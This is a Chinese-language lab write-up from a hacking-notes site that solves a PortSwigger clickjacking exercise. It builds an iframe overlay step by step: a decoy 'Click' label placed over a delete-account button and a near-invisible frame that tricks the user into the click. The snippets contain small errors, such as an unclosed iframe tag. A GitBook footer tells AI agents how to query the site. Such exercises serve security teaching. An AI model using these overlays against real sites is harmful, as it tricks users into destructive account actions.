> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# 带 CSRF 保护的基础点击劫持

### 带 CSRF 令牌保护的基础点击劫持

此实验包含一个连接功能，以及一个由 **CRF 令牌**. / 目标是诱导用户点击诱饵网站上显示“Click”字样的项目，从而删除其账户。

**提供的凭据：**

* wiener : peter

在账户页面上，我们可以找到该功能 **删除账户**.

<figure><img src="/files/ba607d8e489788dd9065dcd81bb3169b89326b04" alt=""><figcaption></figcaption></figure>

思路是使用一个 **`<iframe>`** 标签将此页面嵌入我们自己的网站，并通过让用户在正确的位置点击来欺骗他。

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

这一步使我们能够在自己的网站中显示目标页面。

<figure><img src="/files/eb057b377bddb0537dbf8411350dd5aba56d6ff4" alt=""><figcaption></figcaption></figure>

将误导性文本（“Click”）准确放在 *删除账户* 按钮：

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>点击</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/6c678789a24972d56f9df22ace4a3c7bbec638fe" alt=""><figcaption></figcaption></figure>

为了让受害者看不到实际界面， **透明度** 被降低：

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>点击</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

如果页面底部没有显示，原因很可能是缺少 `frameborder="0"` 参数，或者是由于网站安全策略。/ 外观可以按如下方式调整：

<figure><img src="/files/26a0cebab6b76d603b794297bdf5ce98ee861f22" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
